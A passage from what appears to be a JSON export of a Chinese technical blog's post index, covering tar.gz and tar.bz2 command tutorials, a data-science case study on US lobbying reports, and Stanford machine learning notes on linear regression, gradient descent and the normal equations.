指令就可以了，而這裡之所以要解釋這些比較複雜的管線指令，是因為管線的概念在進階的 UNIX/Linux 指令使用上很重要，這部分也是 UNIX/Linux 最強大的功能之一，如果你想要發揮 UNIX/Linux 的真正的實力，對於這些概念的了解是不可或缺的。\n列出 .tar.gz 壓縮檔案的內容 若要列出 .tar.gz 壓縮檔中的內容，其指令的參數跟 .tar 檔的用法類似，也是多加上一個 -z 參數：\ntar -ztvf mpi.tar.gz 從 .tar.gz 壓縮檔案中解壓縮指定的檔案 若要從 .tar.gz 壓縮檔中解開特定的檔案，可以直接將要解開的檔案名稱放在所有參數的最後，這個用法跟 .tar 檔的解壓縮方式是差不多的。\ntar -zxvf mpi.tar.gz \u0026#34;mpi/mpi.R\u0026#34; 若要指定多個檔案也可以：\ntar -zxvf mpi.tar.gz \u0026#34;mpi/mpi.R\u0026#34; \u0026#34;mpi/pi.c\u0026#34; \u0026#34;mpi/my_phi.c\u0026#34; 若要解開某一類的檔案，也可以使用 --wildcards 參數配合萬用字元來指定要解開的檔案：\ntar -zxvf mpi.tar.gz --wildcards \u0026#34;*.c\u0026#34; 這樣就會把 mpi.tar.gz 壓縮檔中所有 C 語言的原始碼（*.c）都解開來，輸出為：\nmpi/MPI_Hello.c mpi/pi.c mpi/my_phi.c 繼續閱讀：UNIX/Linux 檔案壓縮與備份工具 tar 指令使用教學與範例（三）：tar.bz2 檔案\n","permalink":"https://blog.gtwang.org/linux/tar-command-examples-in-linux-2/","summary":"\u003cp\u003e\u003ca href=\"/linux/tar-command-examples-in-linux-1/\"\u003e前一篇\u003c/a\u003e我們介紹了關於 \u003ccode\u003e.tar\u003c/code\u003e 檔案的各種 \u003ccode\u003etar\u003c/code\u003e 指令使用方式，這裡接著介紹以 \u003ccode\u003e.tar\u003c/code\u003e 格式為基礎所延伸出來的各種檔案壓縮格式。\u003c/p\u003e\n\u003cp\u003e因為單純的 \u003ccode\u003e.tar\u003c/code\u003e 檔案格式是沒有壓縮資料的功能的，它只是把好多目錄與資料夾打包起來，變成一個大檔案而已，如果要有壓縮資料的功能，必須配合另外的壓縮格式，以下介紹一般在 UNIX/Linux 中常用的壓縮格式。\u003c/p\u003e","title":"UNIX/Linux 檔案壓縮與備份工具 tar 指令使用教學與範例（二）：tar.gz 檔案"},{"content":"前一篇我們介紹了傳統上很常在使用 .tar.gz 壓縮格式，而後來因為壓縮技術的進步，又出現了一個壓縮效果更好的 .tar.bz2 這種壓縮格式，他是使用新的 bzip2 這種壓縮格式代替傳統的 gzip。\n.tar.bz2 壓縮檔案 .tar.bz2（等同於 .tbz 與 .tb2）這種格式跟 .tar.gz 的做法類似，也是把一般 .tar 檔案再壓縮一次，只是把原本使用的 gzip 換成 bzip2 而已，其餘的概念基本上都是一樣的。\n建立 .tar.bz2 壓縮檔案 若要使用 tar 指令建立 .tar.bz2 格式的壓縮檔，可以使用下面這個指令：\ntar -jcvf mpi.tar.bz2 mpi 這其實只是把原本的 .tar.gz 壓縮指令的 -z 換成 -j 而已。\n.tar.bz2 亦可使用比較簡短的副檔名（.tbz 或 .tb2）代替：\ntar -jcvf mpi.tbz mpi 或\ntar -jcvf mpi.tb2 mpi 這幾種副檔名都是一樣的。\n.tar.bz2 跟 .tar.gz 類似，一樣也都可以分為兩段步驟來壓縮：\ntar cvf mpi.tar mpi bzip2 mpi.tar 解壓縮 .tar.bz2 壓縮檔案 解壓縮 .tar.bz2 壓縮檔也是跟 .tar.gz 的情況類似，把原本的 -z 換成 -j 就可以了：\ntar -jxvf mpi.tar.bz2 亦可使用兩段式解壓縮：\nbzip2 -d mpi.tar.gz tar xvf mpi.tar 或是使用管線（pipe）的方式：\nbzip2 -cd mpi.tar.bz2 | tar xvf - 基本上這些做法與概念都跟 .tar.gz 的狀況相同，這裡就不重複說明了，若想了解這其中的概念請參考前一篇的說明。\n列出 .tar.bz2 壓縮檔案的內容 若要列出 .tar.bz2 檔案中的內容，可使用：\ntar -jtvf mpi.tar.bz2 這個也是跟 .tar.gz 的用法類似，只是將 -z 換成 -j 而已。\n從 .tar.bz2 壓縮檔案中解壓縮指定的檔案 若要從 .tar.bz2 壓縮檔中解開特定的檔案，可以直接將要解開的檔案名稱放在所有參數的最後：\ntar -jxvf mpi.tar.bz2 \u0026#34;mpi/mpi.R\u0026#34; 若要指定多個檔案也可以：\ntar -jxvf mpi.tar.bz2 \u0026#34;mpi/mpi.R\u0026#34; \u0026#34;mpi/pi.c\u0026#34; \u0026#34;mpi/my_phi.c\u0026#34; 若要解開某一類的檔案，也可以使用 --wildcards 參數配合萬用字元來指定要解開的檔案：\ntar -jxvf mpi.tar.bz2 --wildcards \u0026#34;*.c\u0026#34; 這樣就會把 mpi.tar.bz2 壓縮檔中所有 C 語言的原始碼（*.c）都解開來，輸出為：\nmpi/MPI_Hello.c mpi/pi.c mpi/my_phi.c 原則上 .tar.bz2 的使用方式幾乎跟 .tar.gz 相同，只要把對應的 -z 參數換成 -j，剩下的都一樣。\n","permalink":"https://blog.gtwang.org/linux/tar-command-examples-in-linux-3/","summary":"\u003cp\u003e\u003ca href=\"/linux/tar-command-examples-in-linux-2/\"\u003e前一篇\u003c/a\u003e我們介紹了傳統上很常在使用 .tar.gz 壓縮格式，而後來因為壓縮技術的進步，又出現了一個壓縮效果更好的 .tar.bz2 這種壓縮格式，他是使用新的 \u003ca href=\"https://zh.wikipedia.org/zh-tw/Bzip2\"\u003ebzip2\u003c/a\u003e 這種壓縮格式代替傳統的 \u003ca href=\"https://www.gzip.org/\"\u003egzip\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"tarbz2-壓縮檔案\"\u003e\u003ccode\u003e.tar.bz2\u003c/code\u003e 壓縮檔案\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003e.tar.bz2\u003c/code\u003e（等同於 \u003ccode\u003e.tbz\u003c/code\u003e 與 \u003ccode\u003e.tb2\u003c/code\u003e）這種格式跟 \u003ccode\u003e.tar.gz\u003c/code\u003e 的做法類似，也是把一般 \u003ccode\u003e.tar\u003c/code\u003e 檔案再壓縮一次，只是把原本使用的 \u003ccode\u003egzip\u003c/code\u003e 換成 \u003ccode\u003ebzip2\u003c/code\u003e 而已，其餘的概念基本上都是一樣的。\u003c/p\u003e","title":"UNIX/Linux 檔案壓縮與備份工具 tar 指令使用教學與範例（三）：tar.bz2 檔案"},{"content":"這裡用一個美國遊說活動的資料為例，說明資料科學家（Data Scientist）到底在做什麼。\n上個月的 Data Science DC Meetup 會議中，一些來自 Sunlight Foundation 的研究者報告了一些使用進階資料分析與視覺化的方法，使一般的文字資料更容易讓人理解。\n其中有一些資料是關於美國遊說活動（lobbying activities）的開放性原始資料，而任何人也都可以在遵守 FOIA（Freedom of Information Act）條款下取得這些資料，但是這些資料如果沒有經過整理，你可能很難完全消化，因為這個原始資料沒有特定的結構，都是一般的文字報告，就像這樣：\n如果只有幾份報告，那是沒什麼問題，但是現在這種報告有 7814 份，包含 987 個法案、678 個機構、170 種行業，這些報告都是近年來（2007 年至 2012 年）跟移民法案（immigration bills）相關的遊說報告，我們有興趣的是有沒有什麼資訊隱藏在這將近八千份的文件中，因為沒有人有辦法一次看完將近八千份文件，所以我們會需要一些資料科學家來幫忙做分析。\nSunlight 的資深員工 Lee Drutman 與它的同事決定來著手處理這些資料，他們從這些雜亂的報告中拿出部份的資料，轉換成比較有意義的內容，藉此看出各行各業的遊說活動與移民改個法案的關係，他們所使用的方法是將這些資料轉換為互動式的網路圖，你可看出哪些是大家關心的議題，大家如何積極爭取他們的權益。\nLee 在會議中報告了他處理這個資料的技術細節，包含如何蒐集這些資料、使用統計方法分析、然後產生這些圖等。當他拿到這些資料時，經過他們團隊的評估，他們認為如果使用網路圖的呈現方式會讓這些資料更有意義。\n在實際分析各行業遊說活動與移民改革法案之間的關係之前，必須先了解這些各式各樣法案之間的關係，Sunlight 的研究人員 Zander Furnas 解說了如何使用 Latent Semantic Analysis 從改革法案文件的 subtopic 欄位找出法案之間的相似度，他與他的團隊將每一個法案以一個向量（vector）來表示，使用法案的簡述（因為完整的法案太冗長了）建立語料庫（corpus），當每個法案都以向量的形式表示時，他們只要比較這些向量就可以得到其相似程度了，而比較的方法則是使用 Hierarchical Agglomerative Clustering（HAC）這個演算法，再配合 Ward’s method 來決定 linkage criteria，最後就得到一個比較平均的分群結果：\nHAC 分析所輸出的資料是一個 dendrogram（上圖），接著就要使用網路圖將這個資料與遊說活動的資料結合。\n首先 Zander 說明了 Sunlight 團隊如何使用二分圖（bipartite graph）來建立這個網路，第一類的 node 代表行業，第二類的 node 代表個別的法案，而 edge 則是從第一類的 node 連到第二類的 node 上（也就是從各個行業連到他們所遊說的法案上），而 edge 的權重（weight）就是依照遊說活動的數量來決定（也就是遊說報告的數量），這樣的網路圖雖然保有很精確的資訊，但是在視覺上其實很難看出什麼東西：\n接著 Zander 說明如何化簡這張網路圖的方法，他將那些比較少進行遊說活動的行業剔除，只要某個行業所參與的遊說活動數量低於一個門檻值，就把它的資料拿掉不看，而所使用的方法是 K-Core sub-graph 方法（degeneracy 設為 3），經過 K-Core 的篩選之後，得到的網路圖雖然比較乾淨，但視覺上還是有點凌亂。接著他們使用 Gephi（一個開放原始碼的視覺化工具）的 OpenOrd layout 功能，把這些資料整理後產生一些比較緊密的群集，然後他又再使用加權的 nodes（行業與法案的權重都來自於它們的遊說活動數量）來改善整張網路圖。\n在 Zander 分析完成後，又交給 Sunlight 的圖形設計師 Amy Cesal，她的任務就是美化 Zander 所建立的網路圖，經過他的設計之後，得到這樣的網路圖：\n透過這樣比較清楚又容易理解的網路圖，我們就可以瞭解在這將近八千份的報告中，所隱藏的資訊：\n整體來看，我們可以看到近年來遊說活動的五大議題（也就是圖中的 A 到 F 這五個大圈圈）。 如果我們將焦點放在單一個議題中（A 到 F 其中一個圈圈中），可以看到更細部的但比較雜亂的各種問題。 最後，透過[互動式的網路圖][4]，我們可以探索每個議題與法案之間的關係，這裡面包含成千上萬的連結。 如果你想知道更詳細地分析報告，可以去看 Sunlight Fundation 官方部落格上的說明文章。\n這裡有一點很重要，Lee、Zander 與 Amy 現在也常常進行類似這樣的資料分析，因為現在很多的機構不管是政府機關或是民營企業，每天都會有很多像這樣凌亂的資料產生，但這些資料除了取得之外，更重要的是分析它們，並轉換成一般人可以理解的形式，否則這樣的大量資料（Big Data）很快地就會變成大量垃圾（Big Garbage）。\n資料科學家就是負責把這些資料轉換成大家都看得懂的形式，他們必須要有很穩固的數學與統計的基礎以及程式設計得能力，甚至要具備基本的美學概念，然後才能分析這些資料，並轉換為對大家有意義的形式。而具備這樣能力的資料科學家，其實在資料科學的領域中是很有價值的。\n","permalink":"https://blog.gtwang.org/funny/the-value-of-the-data-scientist/","summary":"\u003cp\u003e這裡用一個美國遊說活動的資料為例，說明資料科學家（Data Scientist）到底在做什麼。\u003c/p\u003e\n\u003cp\u003e上個月的 \u003ca href=\"https://www.meetup.com/data-science-dc/\"\u003eData Science DC Meetup\u003c/a\u003e 會議中，一些來自 Sunlight Foundation 的研究者報告了一些使用進階資料分析與視覺化的方法，使一般的文字資料更容易讓人理解。\u003c/p\u003e","title":"資料科學家（Data Scientist）的價值所在：美國遊說活動資料實例分析"},{"content":"這是我觀看史丹佛大學機器學習（Machine Learning）課程時，自己做的筆記，分享給大家。本篇為 Lecture 2 的前半段筆記。\n史丹佛大學機器學習課程 Lecture 2 的錄影可以從 YouTube 網站上觀看，而英文的 Lecture notes 可以從他的官方網站下載。\n監督式學習（Supervised Learning） 以 Portland, Oregon 房屋資料為例，我們有房屋大小（living area）與房價（price）的資料:\n房屋大小（平方英尺） 房價（千美元） 2104 400 1600 330 2400 369 1416 232 3000 540 \u0026hellip; \u0026hellip; 畫出來的 scatter plot 長成這樣：\n那我們的問題是我們如何使用這些資料來預測其他在 Portland 的房價？更精確地說，就是如何使用方屋的大小推估房價？\n為了能就方便建立嚴謹的數學模型，我們必須先定義一些接下來要常常使用的符號，以下是一些符號說明：\n\\(x^{(i)}\\)：表示輸入的資料（input variable），也稱為輸入特徵（input features），在這個例子中就是房屋大小。 \\(y^{(i)}\\)：表示輸出的資料（output variable），也稱為目標變數（target variable），也就是我們想要估計的東西，在這裡就是指房價。 \\((x^{(i)}, y^{(i)})\\)：將一個 \\(x^{(i)}\\) 與 \\(y^{(i)}\\) 配對之後，稱為一組 training example。 \\(\\{(x^{(i)}, y^{(i)}):i=1,\u0026#8230;,m\\}\\)：所有的 training examples 合起來稱為 training set，也就是指整個用來學習的資料庫。 \\(\\mathcal{X}\\)：代表輸入資料的空間（space）。 \\(\\mathcal{Y}\\)：代表輸出資料的空間，在這個例子中，\\(\\mathcal{X}\\) 與 \\(\\mathcal{Y}\\) 都是 \\(\\mathbb{R}\\)。 在這裡我們就是要找到一個從 \\(\\mathcal{X}\\) 映射到 \\(\\mathcal{Y}\\) 的函數 \\(h(x)\\)，而這個函數可以靠著 \\(x\\) 來預測 \\(y\\)，傳統上這個 \\(h\\) 就稱為一個 hypothesis，而整個流程就像這個圖：\n當目標變數（target variable，也就是 \\(y\\)）是連續型（continuous）的變數時，這樣的學習問題就稱為一個回歸（regression）問題，而當目標變數是離散型（discrete）的變數時（例如我們想預測該房屋是獨棟的還是公寓式的），那這個問題就稱為一個分類（classification）問題。\n線性回歸（Linear Regression） 接著我們把剛剛的資料再加入一個輸入變數：每間房子的臥室數量：\n房屋大小（平方英尺） 臥室數量 房價（千美元） 2104 3 400 1600 3 330 2400 3 369 1416 2 232 3000 4 540 \u0026hellip; \u0026hellip; \u0026hellip; 加上一個輸入變數之後，\\(x\\) 就變成 \\(\\mathbb{R}^2\\) 中的一個向量（vector）了，例如：\\(x_1^{(i)}\\) 是第 \\(i\\) 間方屋的空間大小，而 \\(x_2^{(i)}\\) 則是第 \\(i\\) 間方屋的臥室數量。\n一般來說在設計一個學習問題時，你可以自己決定要加入哪些特徵變數，比如說如果你在 Portland 蒐集各種房屋的資訊，你可以還會想要加入許多其他的資訊，像房屋裡面是否有壁爐、有幾間浴室等等，稍後會介紹更多變數的狀況。\n而要進行監督式學習，必須先決定如何表示 \\(h\\) 這個函數，最簡單的方式就是選擇一個線性函數來逼近 \\(y\\)： \\[h_\\theta(x)=\\theta_0+\\theta_1x_1+\\theta_2x_2\\] 這裡的 \\(\\theta_i\\) 是所謂的參數（parameters），或稱為權重（weights），由這些參數來決定 \\(h\\) 函數如何把 \\(\\mathcal{X}\\) 空間映射到 \\(\\mathcal{Y}\\) 空間。在不會造成混淆的狀況下，你也可以把 \\(h_\\theta(x)\\) 的 \\(\\theta\\) 省略，直接寫成 \\(h(x)\\)。而為了簡化這條式子，我們設定截距（intercept）項為 \\(x_0=1\\)，我們就可以把上面這條式子寫成： \\[h(x)=\\sum^n_{i=0}\\theta_ix_i=\\theta^Tx\\] 這條等式最右邊的 \\(\\theta\\) 與 \\(x\\) 都是向量，而 \\(n\\) 則是輸入變數的數量（不包含 \\(x_0\\)）。\n現在我們建立好了 \\(h\\) 函數，而現在給我們一組 training set，那我們要如何來學習 \\(\\theta\\) 呢？一個直覺的方式就是盡可能讓 \\(h(x)\\) 靠近 \\(y\\)（至少對於我們所拿到的 training examples），所以對於每一個 \\(\\theta\\) 的值，我們定義了這樣的 cost function： \\[J(\\theta)=\\frac{1}{2}\\sum^m_{i=1}(h_\\theta(x^{(i)})-y^{(i)})^2\\] 這個函數是針對每個 \\(\\theta\\) 值，測量 \\(h(x^{(i)})\\) 有多靠近其所對應的 \\(y^{(i)}\\)。如果你學過回歸分析，你應該會發現這個跟最小平方法的回歸模型（least squares regression model）很像。\nLMS 演算法 現在我們要找尋可以讓 \\(J(\\theta)\\) 的值最小化的 \\(\\theta\\)，我們的做法是先「猜」一個初始值，然後依照 \\(J(\\theta)\\) 的值不斷地更新 \\(\\theta\\)，直到最後找到可以讓 \\(J(\\theta)\\) 最小的 \\(\\theta\\)，這裡我們使用 gradient descent 演算法，先指定一個 \\(\\theta\\) 的初始值，然後根據這個遞迴式不斷的更新 \\(\\theta\\)： \\[\\theta_j:=\\theta_j-\\alpha\\frac{\\partial}{\\partial\\theta_j}J(\\theta)\\] 基本上每一個 \\(\\theta_j\\) 都可以同時使用這個遞迴式子進行迭代，而 \\(j=0,...,n\\)。這裡的 \\(\\alpha\\) 稱為 learning rate，在每個迭代中，\\(\\theta\\) 會不斷的更新自己的值，而這個 \\(\\alpha\\) 則控制每一步的大小。\n這裡所使用的 \\(:=\\) 是表示在程式的撰寫時，使用等號右邊的值替換掉左邊變數內儲存的值（如果你會寫程式，應該瞭解這個概念）。\n上面這個偏微分方程式可以進行一些簡單的推導，得到一個比較簡單的公式： \\[ \\begin{aligned} \\frac{\\partial}{\\partial\\theta_j}J(\\theta) \u0026 = \\frac{\\partial}{\\partial\\theta_j}\\frac{1}{2}(h_\\theta(x)-y)^2\\\\ \u0026 = 2 \\cdot \\frac{1}{2}(h_\\theta(x)-y) \\cdot \\frac{\\partial}{\\partial\\theta_j}(h_\\theta(x)-y)\\\\ \u0026 = (h_\\theta(x)-y) \\cdot \\frac{\\partial}{\\partial\\theta_j}\\Big(\\sum^n_{i=0}\\theta_ix_i-y\\Big)\\\\ \u0026 = (h_\\theta(x)-y) x_j \\end{aligned} \\] 所以之前的遞迴式經過化簡之後，我們就可以得到每一個 training example 的遞迴公式： \\[\\theta_j := \\theta_j+\\alpha\\big(y^{(i)}-h_\\theta(x^{(i)})\\big)x_j^{(i)}\\] 這個迭代方式稱為 LMS（least mean squares）演算法，也稱為 Widrow-Hoff 學習演算法，這個演算法的一些特性是比較自然且直覺的，像這個方法在更新 \\(\\theta\\) 時，每次更新的距離會正比於它的 error 項 \\(y^{(i)}-h_\\theta(x^{(i)}))\\)，所以當我們的 \\(\\theta\\) 已經很接近最佳解的時候（也就是 \\(h_\\theta(x^{(i)})\\) 很接近 \\(y^{(i)}\\) 得時候），它的更新距離就會越來越短，到最後就不怎麼需要更新，而如果 \\(\\theta\\) 距離最佳解還很遠，那麼它就會加緊腳步跑快一點。\n以上我們已經推導出單一 training example 的狀況，接下來我們要把它拓展到 training set 的情況，方法有兩種，一種是這樣：\n執行直到收斂 {\nfor every \\(j\\) {\n\\(\\theta_j := \\theta_j + \\alpha\\sum^m_{i=1}\\Big(y^{(i)}-h_\\theta(x^{(i)})\\Big)x_j^{(i)}\\)\n}\n}\n你可以看得出來在這裡加總的那一項就是前面提到的 \\(\\partial J(\\theta)/\\partial\\theta_j\\)，所以這其實就只是將 gradient descent 應用在 \\(J\\) 上而已，因為這樣的方式在每一次迭代時，需要將所有的資料都放進去算，所以稱為 batch gradient descent 方法。\n這裡要注意一點，gradient descent 方法很容易受到 local minima 的干擾，所以找出來的解有可能不是 global minima，而因為這個例子我們的 \\(J\\) 是一個 convex quadratic function，所以只會有一個 global minima，沒有 local minima，所以使用 gradient descent 永遠都會收斂到 global minima。下面這張圖是應用在 convex quadratic function 的狀況：\n圖中的橢圓就是這個二次函數的等高線（contours），那條路徑就是 gradient descent 的搜尋路徑，打叉叉的地方就是 \\(\\theta\\) 每次迭代出來的值，他的起點在 (48, 30)，最後收斂到中間的最小值。\n我們使用 batch gradient descent 這個演算法計算前一個問題直到收斂之後，我們得到的 \\(\\theta_0=71.27\\)、\\(\\theta_1=0.1345\\)，若將 \\(h_\\theta(x)\\) 與 training set 的資料畫在一起，就會得到這樣的圖：\n如果加上臥室的資料，則得到的結果為 \\(\\theta_0=89.60\\)、\\(\\theta_1=0.1392\\)、\\(\\theta_2=-8.738\\)。\n因為 batch gradient descent 在計算時，每一次的迭代都會需要所有 training set 的資料，但是如果 training set 的資料量太大的話，這樣迭代起來就會很花時間，這時候就可以使用另外一種演算法：\n執行直到收斂 {\nfor \\(i\\) = 1 to \\(m\\) {\nfor every \\(j\\) {\n\\(\\theta_j := \\theta_j + \\alpha\\big(y^{(i)}-h_\\theta(x^{(i)})\\big)x_j^{(i)}\\)\n}\n}\n}\n這個演算法在迭代的過程中，一次只使用單一個 training example 來計算 error 並更新 \\(\\theta\\) 參數，這樣的演算法稱為 stochastic gradient descent 演算法，也叫做 incremental gradient descent 演算法，相較於 batch gradient descent 一次使用全部 training set 的方式，在樣本數 \\(m\\) 很大時，stochastic gradient descent 會比較容易進行計算，而且通常 stochastic gradient descent 演算法可以比較快速的靠近最佳解，也就是最小值的地方，但是它永遠不會收斂到最佳解，它只會在 \\(J(\\theta)\\) 附近震盪而已，但實務上這個微小的誤差其實是可以接受的，因為它已經足夠接近最佳解了，也因為如此，在 training set 的資料很多的時候，stochastic gradient descent 會是比較好的選擇。\n繼續閱讀：史丹佛大學機器學習（Machine Learning）上課筆記（二）\n","permalink":"https://blog.gtwang.org/statistics/standford-machine-learning-1/","summary":"\u003cp\u003e這是我觀看史丹佛大學機器學習（Machine Learning）課程時，自己做的筆記，分享給大家。本篇為 Lecture 2 的前半段筆記。\u003c/p\u003e\n\u003cp\u003e史丹佛大學機器學習課程 Lecture 2 的錄影可以從 \u003ca href=\"https://www.youtube.com/watch?v=5u4G23_OohI\"\u003eYouTube 網站\u003c/a\u003e上觀看，而英文的 Lecture notes 可以從他的\u003ca href=\"https://cs229.stanford.edu/\"\u003e官方網站\u003c/a\u003e下載。\u003c/p\u003e","title":"史丹佛大學機器學習（Machine Learning）上課筆記（一）"},{"content":"本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 2 的後半段筆記，其接續上半段的內容。\nThe Normal Equations 要找 \\(J\\) 的最小值除了 gradient descent 演算法之外，還有許多方式，這裡介紹另一個方法，使用這個方法直接使用 explict 的方式算出最小值，這樣可以不需要使用遞迴的方式。\n在這個方法中，我們直接把 \\(J\\) 對每個 \\(\\theta_j\\) 做微分，然後將其設定為零，為了簡化代數的推導，我們先介紹一些微積分的矩陣表示法。\n矩陣的微分 假設 \\(f\\) 是一個從 \\(\\mathbb{R}^{m\\times n}\\) 映射到 \\(\\mathbb{R}\\)（也就是從 \\(m\\times n\\) 的矩陣映射到實數）的函數，則 \\(f\\) 對矩陣 \\(A\\) 的微分定義為：\n\\[ \\nabla_Af(A)= \\left( \\begin{array}{ccc} \\frac{\\partial f}{\\partial A_{11}} \u0026 \\cdots \u0026 \\frac{\\partial f}{\\partial A_{1n}} \\\\ \\vdots \u0026 \\ddots \u0026 \\vdots \\\\ \\frac{\\partial f}{\\partial A_{m1}} \u0026 \\cdots \u0026 \\frac{\\partial f}{\\partial A_{mn}} \\end{array} \\right) \\]所以事實上這個 gradient \\(\\nabla_Af(A)\\) 本身也是一個 \\(m\\times n\\) 的矩陣，其中第 (\\(i\\), \\(j\\)) 個元素為 \\(\\partial f/\\partial A_{ij}\\)，例如假設\n\\[ A=\\left( \\begin{array}{ccc} A_{11}\u0026A_{12}\\\\ A_{21}\u0026A_{22} \\end{array} \\right) \\]而 \\(f : \\mathbb{R}^{2\\times 2} \\mapsto \\mathbb{R}\\) 定義為\n\\[ f(A)=\\frac{3}{2}A_{11}+5A^2_{12}+A_{21}A_{22} \\]其中 \\(A_{ij}\\) 代表矩陣 \\(A\\) 中的第 (\\(i\\), \\(j\\)) 個元素。則我們可以得到\n\\[ \\nabla_Af(A)= \\left( \\begin{array}{cc} \\frac{3}{2}\u002610A_{12}\\\\ A_{22}\u0026A_{21} \\end{array} \\right) \\]矩陣的 trace 接著我們介紹矩陣的 trace 運算子（表示成「tr」），對於一個 \\(n\\times n\\) 的方陣 \\(A\\)，它的 trace 定義為對角線上元素的總和\n\\[ tr(A)=\\sum_{i=1}^nA_{ii} \\]如果 \\(a\\) 是一個實數（也就是 \\(1\\times 1\\) 的矩陣），則 \\(tr(a) = a\\)。\ntrace 運算子有一些特性，例如如果有有兩個方陣 \\(A\\) 與 \\(B\\)，則我們可以推導出 \\(tr(AB)=tr(BA)\\)，進而得到\n\\[ tr(ABC) = tr(CAB) = tr(BCA)\\\\ tr(ABCD) = tr(DABC) = tr(CDAB) = tr(BCDA) \\]另外還有一些簡單的性質也可以很容易推導出來，如果 \\(A\\) 與 \\(B\\) 為方陣，而 \\(a\\) 為實數，則\n\\[ \\begin{align*} tr(A)\u0026=tr(A^T)\\\\ tr(A + B)\u0026=tr(A) + tr(B)\\\\ tr(aA)\u0026=atr(A) \\end{align*} \\]經過一推推導後，可以得到下面這些矩陣微分的等式\n\\[ \\nabla_Atr(AB)=B^T\\tag{1} \\]\\[ \\nabla_{A^T}f(A)=(\\nabla_Af(A))^T\\tag{2} \\]\\[ \\nabla_Atr(ABA^TC)=CAB+C^TAB^T\\tag{3} \\]\\[ \\nabla_A|A|=|A|(A^{-1})^T\\tag{4} \\]最後的第 (4) 條方程式只適用於 \\(A\\) 是 non-singular 方陣的情況，其中 \\(|A|\\) 是代表 \\(A\\) 矩陣的行列式（determinant）。\n假設我們有一個固定的矩陣 \\(B \\in \\mathbb{R}^{n\\times m}\\)，我們可以定義一個函數 \\(f: \\mathbb{R}^{m\\times n} \\mapsto \\mathbb{R}\\) 為 \\[f(A)=tr(AB)\\] 這樣的定義是有意義的，因為對所有的 \\(A\\in\\mathbb{R}^{m\\times n}\\)，\\(AB\\) 就會是一個方陣，就樣就可以適用於 trace 運算子，也就是把 \\(\\mathbb{R}^{m\\times n}\\) 映射到 \\(\\mathbb{R}\\)，接著我們對其進行微分，就可以得到 \\(\\nabla_Af(A)\\) 這個 \\(m\\times n\\) 的矩陣，上面第 (1) 條等式告訴我們這個矩陣的第 (\\(i\\), \\(j\\)) 個元素會等於 \\(B^T\\) 的第 (\\(i\\), \\(j\\)) 個元素，也就是 \\(B_{ji}\\) 。\n詳細的證明這裡就跳過了，若要找詳細的證明在一般線性代數的書中應該都會有。\nLeast Squares 接著我們可以開始使用矩陣的表示法來推導 \\(\\theta\\) 在 \\(J(\\theta)\\) 達到最小時的解析解，首先我們把 \\(J\\) 改用矩陣的形式表示。若給定一組 training set，我們定義它的 design matrix \\(X\\) 為一個 \\(m\\times n\\) 的矩陣（如果將截距項也算進去，就是 \\(m\\times (n+1)\\) 的矩陣）：\n\\[ X=\\left( \\begin{array}{c} (x^{(1)})^T\\\\ (x^{(2)})^T\\\\ \\vdots\\\\ (x^{(m)})^T \\end{array} \\right) \\]其中每一個 \\((x^{(i)})^T\\) 都是一個列向量（row vector），代表第 \\(i\\) 筆 training example。而 \\(\\vec{y}\\) 定義為一個 \\(m\\) 維的向量，其中包含所有 training set 的目標變數：\n\\[ \\vec{y}=\\left( \\begin{array}{c} y^{(1)}\\\\ y^{(2)}\\\\ \\vdots\\\\ y^{(m)}\\\\ \\end{array} \\right) \\]因為 \\(h_\\theta(x^{(i)})=(x^{(i)})^T\\theta\\)，所以可以得到\n\\[ X\\theta-\\vec{y}=\\left( \\begin{array}{c} (x^{(1)})^T\\theta\\\\ \\vdots\\\\ (x^{(m)})^T\\theta \\end{array} \\right)-\\left( \\begin{array}{c} y^{(1)}\\\\ \\vdots\\\\ y^{(m)}\\\\ \\end{array} \\right)=\\left( \\begin{array}{c} h_\\theta(x^{(1)})-y^{(1)}\\\\ \\vdots\\\\ h_\\theta(x^{(m)})-y^{(m)}\\\\ \\end{array} \\right) \\]因為對任何的 \\(z\\) 我們可以得到 \\(z^Tz=\\sum_iz_i^2\\)，因此\n\\[ \\frac{1}{2}(X\\theta-\\vec{y})^T(X\\theta-\\vec{y}) = \\frac{1}{2}\\sum_{i=1}^m(h_\\theta(x^{(i)})-y^{(i)})^2=J(\\theta) \\]最後配合前面矩陣微分公式的第 (2) 條與第 (3) 條，我們可以得到\n\\[ \\nabla_{A^T}tr(ABA^TC)=B^TA^TC^T+BA^TC\\tag{5} \\]因此\n\\[ \\begin{aligned} \\nabla_\\theta J(\\theta)=\u0026\\nabla_\\theta\\frac{1}{2}(X\\theta-\\vec{y})^T(X\\theta-\\vec{y})\\\\ =\u0026\\frac{1}{2}\\nabla_\\theta(\\theta^TX^TX\\theta-\\theta^TX^T\\vec{y}-\\vec{y}^TX\\theta+\\vec{y}^T\\vec{y})\\\\ =\u0026\\frac{1}{2}\\nabla_\\theta tr(\\theta^TX^TX\\theta-\\theta^TX^T\\vec{y}-\\vec{y}^TX\\theta+\\vec{y}^T\\vec{y})\\\\ =\u0026\\frac{1}{2}\\nabla_\\theta(tr(\\theta^TX^TX\\theta)-2tr(\\vec{y}^TX\\theta)+\\vec{y}^T\\vec{y})\\\\ =\u0026\\frac{1}{2}(X^TX\\theta+X^TX\\theta-2X^T\\vec{y})\\\\ =\u0026X^TX\\theta-X^T\\vec{y} \\end{aligned} \\]在第三行我們使用實數的 trace 就是他自己本身這個性質。第四行是使用 \\(tr(A)=tr(A^T)\\) 這個性質。第五行則是令 \\(A^T=\\theta\\)、\\(B=B^T=X^TX\\)、\\(C=I\\) 然後使用第 (5) 條與第 (1) 條等式推導得到的（其中因為 \\(\\vec{y}^T\\vec{y}\\) 跟 \\(\\theta\\) 沒有關係，所以微分之後就不見了）。\n因為我們要要求 \\(J\\) 的極小值，所以令其微分等於零，即可得到這個 normal equation：\n\\[ X^TX\\theta=X^T\\vec{y} \\]所以就可以得到 \\(J\\) 的極小值就發生在\n\\[ \\theta=(X^TX)^{-1}X^T\\vec{y} \\]的時候。\n這裡如果 \\(X^TX\\) 是一個 singular 矩陣的話（也是說某些資料可能有重複的問題），那它的反矩陣 \\((X^TX)^{-1}\\) 就會不存在，這時候可以使用 pseudo inverse 的方式處理。\n繼續閱讀：史丹佛大學機器學習（Machine Learning）上課筆記（三）\n","permalink":"https://blog.gtwang.org/statistics/standford-machine-learning-2/","summary":"\u003cp\u003e本篇為史丹佛大學機器學習（Machine Learning）課程 Lecture 2 的後半段筆記，其接續\u003ca href=\"/statistics/standford-machine-learning-1/\"\u003e上半段\u003c/a\u003e的內容。\u003c/p\u003e\n\u003ch3 